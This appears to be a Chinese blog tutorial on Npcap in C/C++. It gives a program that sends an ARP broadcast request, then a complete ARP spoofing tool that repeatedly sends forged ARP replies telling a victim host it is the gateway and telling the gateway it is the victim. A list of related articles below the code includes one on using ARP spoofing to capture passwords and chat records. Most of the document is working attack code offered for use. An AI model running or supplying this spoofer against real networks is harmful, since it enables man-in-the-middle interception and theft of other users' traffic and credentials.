C/C++ Npcap包实现ARP欺骗
npcap 是Nmap自带的一个数据包处理工具,Nmap底层就是使用这个包进行收发包的,该库,是可以进行二次开发的,不过使用C语言开发费劲,在进行渗透任务时,还是使用Python构建数据包高效,唯一的区别是使用Python的库,可以节约我们寻找数据包结构的时间.
Npcap发送ARP数据包: 通过使用Npcap实现发送一个ARP广播数据包,这里需要先构建数据包的结构,然后在发送出去.
#include <stdio.h>
#include <winsock2.h>
#include <Windows.h>
#include <pcap.h>
#pragma comment(lib, "packet.lib")
#pragma comment(lib, "wpcap.lib")
#pragma comment(lib,"WS2_32.lib")
#define ETH_ARP 0x0806 // 以太网帧类型表示后面数据的类型,对于ARP请求或应答来说,该字段的值为x0806
#define ARP_HARDWARE 1 // 硬件类型字段值为表示以太网地址
#define ETH_IP 0x0800 // 协议类型字段表示要映射的协议地址类型值为x0800表示IP地址
#define ARP_REQUEST 1 // ARP请求
#define ARP_RESPONSE 2 // ARP应答
//14字节以太网首部
struct EthernetHeader
{
u_char DestMAC[6]; // 目的MAC地址6字节
u_char SourMAC[6]; // 源MAC地址 6字节
u_short EthType; // 上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp 2字节
};
//28字节ARP帧结构
struct ArpHeader
{
unsigned short hdType; // 硬件类型
unsigned short proType; // 协议类型
unsigned char hdSize; // 硬件地址长度
unsigned char proSize; // 协议地址长度
unsigned short op; // 操作类型,ARP请求(1),ARP应答(2),RARP请求(3),RARP应答(4)。
u_char smac[6]; // 源MAC地址
u_char sip[4]; // 源IP地址
u_char dmac[6]; // 目的MAC地址
u_char dip[4]; // 目的IP地址
};
//定义整个arp报文包,总长度42字节
struct ArpPacket {
EthernetHeader ed;
ArpHeader ah;
};
// 获取到指定网卡的句柄
pcap_t * OpenPcap(int nChoose)
{
pcap_t *pcap_handle; //打开网络适配器,捕捉实例,是pcap_open返回的对象
pcap_if_t *alldevs;
char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区,大小为256
// 获取到所有设备列表
if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
exit(0);
// 找到指定的网卡设备
for (int x = 0; x < nChoose - 1; ++x)
alldevs = alldevs->next;
if ((pcap_handle = pcap_open(alldevs->name, // 设备名
65536, // 每个包长度
PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式
1000, // 读取超时时间
NULL, // 远程机器验证
errbuf // 错误缓冲池
)) == NULL)
{
pcap_freealldevs(alldevs);
exit(0);
}
return pcap_handle;
}
int main(int argc, char *argv[])
{
pcap_t *handle; // 打开网络适配器
EthernetHeader eh; // 定义以太网包头
ArpHeader ah; // 定义ARP包头
unsigned char sendbuf[42]; // arp包结构大小42个字节
unsigned char src_mac[6] = { 0xaa, 0xaa, 0xaa, 0xaa, 0xff, 0xff };
unsigned char src_ip[4] = { 0x01, 0x02, 0x03, 0x04 };
handle = OpenPcap(3); // 拿到第三个网卡的句柄
// 开始填充ARP包
memset(eh.DestMAC, 0xff, 6); // 以太网首部目的MAC地址,全为广播地址
memcpy(eh.SourMAC, src_mac, 6); // 以太网首部源MAC地址
memcpy(ah.smac, src_mac, 6); // ARP字段源MAC地址
memset(ah.dmac, 0xff, 6); // ARP字段目的MAC地址
memcpy(ah.sip, src_ip, 4); // ARP字段源IP地址
memset(ah.dip, 0x05, 4); // ARP字段目的IP地址
// 赋值MAC地址
eh.EthType = htons(ETH_ARP); //htons:将主机的无符号短整形数转换成网络字节顺序
ah.hdType = htons(ARP_HARDWARE);
ah.proType = htons(ETH_IP);
ah.hdSize = 6;
ah.proSize = 4;
ah.op = htons(ARP_REQUEST);
// 构造一个ARP请求
memset(sendbuf, 0, sizeof(sendbuf)); // ARP清零
memcpy(sendbuf, &eh, sizeof(eh)); // 首先把eh以太网结构填充上
memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah)); // 接着在eh后面填充arp结构
// 发送数据包
if (pcap_sendpacket(handle, sendbuf, 42) == 0)
{
printf("发送ARP数据包成功! \n");
}
system("pause");
return 0;
}
Npcap 实现ARP欺骗: 欺骗原理,告诉路由器,我是被害主机,告诉被害主机我是路由器,实现比较简单,就是结构封装看起来麻烦。
#include <stdio.h>
#include <winsock2.h>
#include <Windows.h>
#include <pcap.h>
#pragma comment(lib, "packet.lib")
#pragma comment(lib, "wpcap.lib")
#pragma comment(lib,"WS2_32.lib")
//arp应答/请求(28字节)
#define ARP_HARDWARE 0x0001 // arp_hrd:以太网
#define ARP_REQUEST 0x0001 // arp_op: 请求 request
#define ARP_REPLY 0x0002 // arp_op: 应答 reply
//作用:调整结构体的边界对齐,让其以一个字节对齐;
#pragma pack(push, 1) //使结构体按1字节方式对齐
//以太网头部(14字节)
#define EPT_IP 0x0800 // eh_type: IP
#define EPT_ARP 0x0806 // eh_type: ARP
#define EPT_RARP 0x8035 // eh_type: RARP
typedef struct eh_hdr
{
UCHAR eh_dst[6]; // 接收方MAC地址
UCHAR eh_src[6]; // 发送方MAC地址
USHORT eh_type; // 上层协议类型
}EH_HEADR, *P_EH_HEADR;
typedef struct arp_hdr
{
USHORT arp_hrd; // 硬件类型
USHORT arp_pro; // 协议类型
UCHAR arp_hln; // 硬件(MAC)地址长度
UCHAR arp_pln; // 协议(IP )地址长度
USHORT arp_op; // 包类型:请求、应答
UCHAR arp_sha[6]; // 发送发硬件地址 (应答时,此处可欺骗)
ULONG arp_spa; // 发送方协议地址 (应答时,此处可欺骗)
UCHAR arp_tha[6]; // 接收方硬件地址 (请求时,此处无用)
ULONG arp_tpa; // 接收方协议地址
}ARP_HEADR, *P_ARP_HEADR;
//ARP协议栈
typedef struct arp_Packet
{
EH_HEADR ehhdr;
ARP_HEADR arphdr;
} ARP_PACKET, *P_ARP_PACKET;
// 获取到指定网卡的句柄
pcap_t * OpenPcap(int nChoose)
{
pcap_t *pcap_handle; //打开网络适配器,捕捉实例,是pcap_open返回的对象
pcap_if_t *alldevs;
char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区,大小为256
// 获取到所有设备列表
if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
exit(0);
// 找到指定的网卡设备
for (int x = 0; x < nChoose - 1; ++x)
alldevs = alldevs->next;
if ((pcap_handle = pcap_open(alldevs->name, // 设备名
65536, // 每个包长度
PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式
1000, // 读取超时时间
NULL, // 远程机器验证
errbuf // 错误缓冲池
)) == NULL)
{
pcap_freealldevs(alldevs);
exit(0);
}
return pcap_handle;
}
void ChangeMacAddr(char *p, UCHAR a[]) //把输入的12字节的MAC字符串,转变为6字节的16进制MAC地址
{
char* p1 = NULL;
int i = 0;
int high, low;
char temp[1];
for (i = 0; i < 6; i++)
{
p1 = p + 1;
switch (*p1) //计算低位的16进进制
{
case 'A': low = 10; break;
case 'B': low = 11; break;
case 'C': low = 12; break;
case 'D': low = 13; break;
case 'E': low = 14; break;
case 'F': low = 15; break;
default: temp[0] = *p1;
low = atoi(temp); //如果为数字就直接转变成对应的数值
}
switch (*p) //计算高位的16进制
{
case 'A': high = 10; break;
case 'B': high = 11; break;
case 'C': high = 12; break;
case 'D': high = 13; break;
case 'E': high = 14; break;
case 'F': high = 15; break;
default: temp[0] = *p;
high = atoi(temp); //如果为数字就直接转变成对应的数值
}
p += 2; //指针指向下一个X(高)X(低)字符串
a[i] = high * 16 + low; //求和得16进制值
}
}
void makeArpPacket(ARP_PACKET &ARPPacket, char * srcMac, char * srcIP, char * dstMac, char * dstIP)
{
UCHAR MacAddr[6] = { 0 };
//以太网头
ChangeMacAddr(dstMac, ARPPacket.ehhdr.eh_dst); //目的MAC地址
ChangeMacAddr(srcMac, ARPPacket.ehhdr.eh_src); //源MAC地址。
ARPPacket.ehhdr.eh_type = htons(EPT_ARP); //数据类型ARP请求或应答
//ARP头
ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE); //硬件地址为0x0001表示以太网地址
ARPPacket.arphdr.arp_pro = htons(EPT_IP); //协议类型字段为0x0800表示IP地址
ARPPacket.arphdr.arp_hln = 6; //硬件地址长度和协议地址长度分别指出硬件地址和协议地址的长度,
ARPPacket.arphdr.arp_pln = 4; //以字节为单位。对于以太网上IP地址的ARP请求或应答来说,它们的值分别为6和4。
ARPPacket.arphdr.arp_op = htons(ARP_REPLY); //ARP请求值为1,ARP应答值为2,RARP请求值为3,RARP应答值为4
ChangeMacAddr(srcMac, ARPPacket.arphdr.arp_sha); //发送方 源MAC地址(欺骗的MAC地址)
ARPPacket.arphdr.arp_spa = inet_addr(srcIP); //发送方 源IP地址 (欺骗的MAC地址)
ChangeMacAddr(dstMac, ARPPacket.arphdr.arp_tha); //目标的MAC地址
ARPPacket.arphdr.arp_tpa = inet_addr(dstIP); //目标的IP地址
}
// 发送ARP数据包
void sendArpPacket(pcap_t * fp, ARP_PACKET &ARPPacket)
{
if (pcap_sendpacket(fp,(const u_char *)&ARPPacket,sizeof(ARPPacket)) != 0)
return;
}
int main(int argc, char *argv[])
{
pcap_t *handle; // 打开网络适配器
EH_HEADR eh; // 定义以太网包头
ARP_HEADR ah; // 定义ARP包头
// 打开第三张网卡,并拿到该网卡的句柄
handle = OpenPcap(3);
// 填充数据包
ARP_PACKET ARPPacket_A = { 0 }; //arp包 欺骗目标
ARP_PACKET ARPPacket_B = { 0 }; //arp包 欺骗网关
//欺骗受害者,我是网关 (原MAC地址/原IP地址 --> 目标MAC地址/目标IP地址)
makeArpPacket(ARPPacket_A, "000000000000", "192.168.1.1", "c89cdcad3a39", "192.168.1.10");
//欺骗网关,我是受害者 (原MAC地址/原IP地址 --> 目标MAC地址/目标IP地址)
makeArpPacket(ARPPacket_B, "c89cdcad3a39", "192.168.1.10", "000000000000", "192.168.1.1");
while (true)
{
//3.发送数据包
sendArpPacket(handle, ARPPacket_A);
sendArpPacket(handle, ARPPacket_B);
printf("send OK ! \n");
Sleep(3000);
}
pcap_close(handle);
system("pause");
return 0;
}
C/C++ Npcap包实现ARP欺骗的更多相关文章
- python scapy的用法之ARP主机扫描和ARP欺骗
python scapy的用法之ARP主机扫描和ARP欺骗 目录: 1.scapy介绍 2.安装scapy 3.scapy常用 4.ARP主机扫描 5.ARP欺骗 一.scapy介绍 scapy是一个 ...
- 使用ARP欺骗, 截取局域网中任意一台机器的网页请求,破解用户名密码等信息
ARP欺骗的作用 当你在网吧玩,发现有人玩LOL大吵大闹, 用ARP欺骗把他踢下线吧 当你在咖啡厅看上某一个看书的妹纸,又不好意思开口要微信号, 用arp欺骗,不知不觉获取到她的微信号和聊天记录,吓一 ...
- Python黑帽编程 3.1 ARP欺骗
Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据 ...
- Python黑客编程ARP欺骗
Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据 ...
- Kali Linux Web 渗透测试视频教程—第十四课-arp欺骗、嗅探、dns欺骗、session劫持
Kali Linux Web 渗透测试视频教程—第十四课-arp欺骗.嗅探.dns欺骗.session劫持 文/玄魂 目录 Kali Linux Web 渗透测试—第十四课-arp欺骗.嗅探.dns欺 ...
- Kali实现局域网ARP欺骗和ARP攻击
原文地址: http://netsecurity.51cto.com/art/201303/386031.htm http://xiao106347.blog.163.com/blog/static/ ...
- ARP欺骗病毒,网页“篡改”,注入iframe代码!
---------------权威资料看这里--------------- 清华大学信息网络工程研究中心-中国教育和科研计算机网应急响应组<ARP 欺骗网页劫持攻击分析>PDF文件,直接I ...
- 防止ARP欺骗的方法!!!
防止ARP欺骗的方法!!! 根据鄙人上网经常掉线,怀疑可能是某人使用网络剪刀手,网络执行官,局域网终结者等工具.经过搜索有关资料,有了一点点防范经验,借以参考~! 一 首先我们来了解下这类攻击工具的原 ...
- ARP欺骗与中间人攻击
前言: 上一篇WPA/WAP2wifi 密码破解笔记说到如何探测附近开放的AP并且破解进入,那么进入别人据局域网我们能干些什么呢?换句话说如果别人进入了我们内部网络,会有什么影响?本文简要介绍了ARP ...
- Arp欺骗攻击的另类应用之屌丝泡妞记
http://www.2cto.com/Article/201210/163974.html arp欺骗,我想大家都应该知道怎么回事了.不知道的去问度娘... 就不废话了,还是直接上图上教程比 ...
随机推荐
- [TSG@Site开发日志3]从C#到Qt,再从Qt到C# 和 Qt的组合开发,浅谈在采集端工控设备开发中不同技术之间选型的利与弊
[TSG开发日志3]从C#到Qt,再从Qt到C#,浅谈不同技术之间选型的利与弊 当前在South公司的开发历经了几个时代,第一个时代是用C#进行的开发,第二个时代是从C#向Qt逐渐转型,第三个时代是我 ...
- C# 排序算法5:归并排序
归并排序,是将两个(或两个以上)有序表合并成一个新的有序表,即把待排序序列分为若干个有序的子序列,再把有序的子序列合并为整体有序序列.该算法是采用分治法. 原理: 1.申请空间,使其大小为两个已经排序 ...
- Java 子父类型集合之间的转换
假设现在有这样一个方法,入参是父类型的集合参数,这是个通用方法,你需要共用它,你现在要传子类型集合进去,怎么办? class Animal { } class Dog extends Animal { ...
- 基于AHB_BUS Clac slave详解
基于AHB-APB BUS slave详解 1.目录 高内聚:让模块的功能更集中,更单一. AMBA总线例子,需要有一个模块和AMBA进行交互,就可以单独将与AHB总线进行交互的部分作为一个模块.经常 ...
- 【rt-thread】构建自己的项目工程 -- 初始篇
现以stm32f429igt6芯片的板子 & Keil5编译环境为例,记述构建适配自己板子的rt-thread工程的过程 1.拿到rt-thread源码,进入bsp/stm32/librari ...
- Laravel - blade 基础语法和include的使用
<!-- 1. 模板中输出PHP变量 --> @section('footer') <div style="color:#fff"> @par ...
- [转帖]如何监控Redis性能指标(译)
Redis给人的印象是简单.很快,但是不代表它不需要关注它的性能指标,此文简单地介绍了一部分Redis性能指标.翻译过程中加入了自己延伸的一些疑问信息,仍然还有一些东西没有完全弄明白.原文中Metri ...
- [转帖]Titan 配置
https://www.bookstack.cn/read/TiDB-4.0/storage-engine-titan-configuration.md 开启 Titan Titan 对 RocksD ...
- [转帖]Jmeter学习笔记(九)——响应断言
Jmeter学习笔记(九)--响应断言 https://www.cnblogs.com/pachongshangdexuebi/p/11571348.html Jmeter中又一个元件叫断言,用于检查 ...
- PG数据库异步流复制
PG数据库异步流复制 背景说明 最近想进行一个数据库高可用课题的研究. 因为之前某种原因,这次选择的是PG数据库. 为了简单起见, 暂时采用PG异步流复制的场景. 这次仅是为了测试, 不考虑高可用绿色 ...